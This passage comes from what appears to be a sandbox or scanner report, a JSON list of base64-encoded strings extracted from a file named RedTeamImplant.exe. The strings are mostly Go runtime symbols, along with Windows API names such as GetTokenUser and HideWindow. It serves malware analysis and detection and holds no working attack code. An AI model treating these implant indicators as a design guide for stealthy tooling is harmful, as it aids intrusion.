Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"ZmxvYXQ2NEhpc3RPckluaXQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Zmx1c2hlZFdvcms=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Zmx1c2hHZW4=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Zmx1c2hTY2FuU3RhdHM=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Zm10LigqYnVmZmVyKS53cml0ZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Zm10LigqYnVmZmVyKS53cml0ZUJ5dGU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Zm10LigqYnVmZmVyKS53cml0ZVJ1bmU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Zm10LigqYnVmZmVyKS53cml0ZVN0cmluZw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Zm10LigqZm10KS5jbGVhcmZsYWdz","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Zm10LigqZm10KS5mbXRCb29sZWFu","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Zm10LigqZm10KS5mbXRCcw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Zm10LigqZm10KS5mbXRCeA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Zm10LigqZm10KS5mbXRD","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Zm10LigqZm10KS5mbXRGbG9hdA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Zm10LigqZm10KS5mbXRJbnRlZ2Vy","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Zm10LigqZm10KS5mbXRR","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Zm10LigqZm10KS5mbXRRYw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Zm10LigqZm10KS5mbXRT","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Zm10LigqZm10KS5mbXRTYng=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Zm10LigqZm10KS5mbXRTeA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Zm10LigqZm10KS5mbXRVbmljb2Rl","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Zm10LigqZm10KS5pbml0","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Zm10LigqZm10KS5wYWQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Zm10LigqZm10KS5wYWRTdHJpbmc=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Zm10LigqZm10KS50cnVuY2F0ZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Zm10LigqZm10KS50cnVuY2F0ZVN0cmluZw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Zm10LigqZm10KS53cml0ZVBhZGRpbmc=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Zm10LigqcHApLmFyZ051bWJlcg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Zm10LigqcHApLmJhZEFyZ051bQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Zm10LigqcHApLmJhZFZlcmI=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Zm10LigqcHApLmNhdGNoUGFuaWM=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Zm10LigqcHApLmRvUHJpbnRm","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Zm10LigqcHApLmZtdDB4NjQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Zm10LigqcHApLmZtdEJvb2w=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Zm10LigqcHApLmZtdEJ5dGVz","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Zm10LigqcHApLmZtdENvbXBsZXg=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Zm10LigqcHApLmZtdEZsb2F0","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Zm10LigqcHApLmZtdEludGVnZXI=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Zm10LigqcHApLmZtdFBvaW50ZXI=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Zm10LigqcHApLmZtdFN0cmluZw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Zm10LigqcHApLmZyZWU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Zm10LigqcHApLmhhbmRsZU1ldGhvZHM=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Zm10LigqcHApLmhhbmRsZU1ldGhvZHMuZGVmZXJ3cmFwMQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Zm10LigqcHApLmhhbmRsZU1ldGhvZHMuZGVmZXJ3cmFwMg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Zm10LigqcHApLmhhbmRsZU1ldGhvZHMuZGVmZXJ3cmFwMw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Zm10LigqcHApLmhhbmRsZU1ldGhvZHMuZGVmZXJ3cmFwNA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Zm10LigqcHApLm1pc3NpbmdBcmc=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Zm10LigqcHApLnByaW50QXJn","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Zm10LigqcHApLnByaW50VmFsdWU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Zm10LigqcHApLnVua25vd25UeXBl","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Zm10LigqcHApLldyaXRl","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Zm10LmdldEZpZWxk","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Zm10LmluaXQuZnVuYzE=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Zm10LmludEZyb21Bcmc=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Zm10Lm5ld1ByaW50ZXI=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Zm10LnBhcnNlQXJnTnVtYmVy","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Zm10LnBhcnNlbnVt","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Zm10LlNwcmludGY=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Zm10LnRvb0xhcmdl","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Zm10Qm9vbGVhbg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Zm10Q29tcGxleA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Zm10RmxhZ3M=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Zm10SW50ZWdlcg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Zm10UG9pbnRlcg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Zm10U3RyaW5n","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Zm10VW5pY29kZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"ZnJhbWVQb29s","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"ZnJhbWVTdG9yZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"RnJlZUVudmlyb25tZW50U3RyaW5nc1c=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"ZnJlZWluZGV4","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"ZnJlZUluZGV4Rm9yU2Nhbg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"RnRydW5jYXRl","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"ZnVuY05hbWU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"ZnVuY25hbWVPZmZzZXQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"ZnVuY25hbWV0YWI=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"RnVuY1R5cGU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"ZzBTdGFja0FjY3VyYXRl","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Z2NBc3Npc3RCeXRlcw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Z2NBc3Npc3RUaW1l","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"R0NBc3Npc3RUaW1l","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Z2NCZ01hcmtXb3JrZXJOb2Rl","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Z2Nic3NtYXNr","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Z2NDeWNsZXNEb25l","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Z2NDeWNsZXNGb3JjZWQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Z2NkYXRhbWFzaw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"R0NEZWRpY2F0ZWRUaW1l","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Z2NGcmFjdGlvbmFsTWFya1RpbWU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"R0NJZGxlVGltZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Z2NtYXJrQml0cw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Z2NNYXJrV29ya2VyTW9kZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Z2NNYXJrV29ya2VyU3RhcnRUaW1l","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Z2NNaXNjU3lz","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"R0NQYXVzZVRpbWU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Z2NzY2FuZG9uZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Z2NTdG9wVGltZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"R0NUb3RhbFRpbWU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Z2NXcml0ZUJhcnJpZXI=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"$b2","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"$b3","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2V0Q29uc29sZU1vZGU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2V0Q3VycmVudFRocmVhZElk","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2V0RW52aXJvbm1lbnRTdHJpbmdzVw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2V0RXJyb3JNb2Rl","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2V0RmlsZUluZm9ybWF0aW9uQnlIYW5kbGU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2V0RmlsZVR5cGU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Z2V0UGlubmVyQml0cw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2V0UHJvY0FkZHJlc3M=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2V0UHJvY2Vzc0FmZmluaXR5TWFzaw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2V0UXVldWVkQ29tcGxldGlvblN0YXR1c0V4","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2V0c29ja29wdEludA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2V0U3RkSGFuZGxl","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2V0U3lzdGVtRGlyZWN0b3J5QQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2V0U3lzdGVtSW5mbw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2V0VGhyZWFkQ29udGV4dA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2V0VG9rZW5QcmltYXJ5R3JvdXA=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2V0VG9rZW5Vc2Vy","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2V0VXNlclByb2ZpbGVEaXJlY3Rvcnk=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Z2V0V2l0aEtleQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Z2V0V2l0aEtleVNtYWxs","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Z2V0V2l0aG91dEtleQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Z2V0V2l0aG91dEtleVNtYWxsRmFzdFN0cg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Z2xvYmFsRGVwdGg=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Z2xvYmFsU2hpZnQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Z2xvYmFsc1NjYW4=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"R28gYnVpbGQgSUQ6ICJScVB6OGRrZThpVjQySDdSNXo5ci9sZ1FNc1V5SjFReVlPU1puQUVOaS9KcEthOE96X3BtVF9FODdoRGdxQy90cE92UWxuTzJzSmRNYnlrMDVVcyI=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Z28uc2hhcGU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Z286YnVpbGRpZA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Z286dGV4dGZpcHNlbmQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Z286dGV4dGZpcHNzdGFydA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Z29hbCAsIGNvbnMvbWFyayAgbWF4VHJpZ2dlcj0gcGFnZXMvYnl0ZSBzLnN3ZWVwZ2VuPSBhbGxvY0NvdW50IHBhZ2Ugc3VtbWFyeVByb2Nlc3NQcm5n","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"R29iRGVjb2Rl","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"R29iRW5jb2Rl","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Z29pZGNhY2hl","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Z29pZGNhY2hlZW5k","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Z29tYXhwcm9jcw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Z29vZEFyZ051bQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Z29yb3V0aW5l","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Z29yb3V0aW5lRXJy","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Z29yb3V0aW5lUHJvZmlsZWQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Z29zYXZlX3N5c3RlbXN0YWNrX3N3aXRjaA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Z29TaWdTdGFjaw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"R29TdHJpbmc=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Z3Jvd3RoTGVmdA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Z3Jvd1RvU21hbGw=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Z3Jvd1RvVGFibGU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"SCBIOUsgdShI","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"SCtIIEgrSChI","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"SDkydDlIOXJIdDNI","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aGFuZGxlTWV0aG9kcw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aGFuZGxlVHJhbnNpZW50QWNxdWlyZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aGFuZGxlVHJhbnNpZW50UmVsZWFzZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aGFzQ2dvT25TdGFjaw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aGF2ZVN0YWNr","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aGVhcEJpdHM=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aGVhcEJpdHNTbWFsbEZvckFkZHI=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aGVhcFNjYW5Xb3Jr","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aGVhcFN0YXRz","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aGVhcFN0YXRzRGVsdGE=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aGhoaGhoaGhoaGhoaGhoaA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"SGlkZVdpbmRvdw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"SGlnaERhdGVUaW1l","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aGlnaFJlc1RpbWVy","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"STlRcHVJOXFo","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"SWZhY2VJbmRpcg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW1lOiBwb2ludGVyIGcgYWxyZWFkeSBzY2FubmVkbWFyayAtIGJhZCBzdGF0dXNzY2Fub2JqZWN0IG4gPT0gMHN3ZXB0IGNhY2hlZCBzcGFubWFya0JpdHMgb3ZlcmZsb3dydW50aW1lOiBzdW1tYXJ5W3J1bnRpbWU6IGxldmVsID0gLCBwLnNlYXJjaEFkZHIgPSBSdGxHZXRDdXJyZW50UGVi","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"SW1tdXRhYmxl","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"SW1wbGVtZW50cw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW5jQWN0aXZl","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"SW5jTm9uRGVmYXVsdA==","type":"Ansi","source":"Memory/File 